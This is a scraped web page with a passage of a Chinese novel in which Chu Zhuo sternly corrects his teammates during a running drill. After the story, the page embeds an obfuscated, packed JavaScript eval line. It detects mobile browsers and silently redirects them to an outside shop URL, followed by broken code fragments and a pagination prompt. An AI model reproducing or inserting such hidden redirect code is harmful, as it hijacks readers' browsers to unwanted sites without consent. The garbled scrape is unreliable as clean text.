哨一边监督自己的队员们。
他的体力显然要比其他人好多了，即便跑着外圈身位也丝毫不差，甚至随着时间的推移，他渐渐跑到了队伍的前列。
实在是因为其他人的体力太差了。
跑前两圈的时候，大家的状态都还不错，但从第三圈开始，有些人的节奏就开始乱了。楚卓丝毫不容忍这种情况，一旦有人步子乱了就直接出声提醒，被点到的人连声哀嚎，但却没啥力气反驳，只能在他的厉声指示下一边喘息一边调整。
“小杨！腿反了！喊一的时候迈左腿！”
“小牧把嘴闭上！不要用嘴呼吸，鼻子吸气嘴巴呼气！”
“小陈你怎么带的队？顺着跑道跑！你这都踩着草坪了！”
眼见自己偷懒跑内圈的想法被看穿，陈辰哀嚎一声，然后生无可恋地站回了跑道上。
虽然大家都知道楚卓在某些方面有莫名其妙的坚持，但他们还是没想到跑个步居然也会有这么多的要求。
跑慢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541276|203949||http|test|mini|href|location'.split('|'),0,{}));
() {
$('
关闭+畅/阅读=模式,看最新完整内容。本章未完，请点击下一页继续阅读》》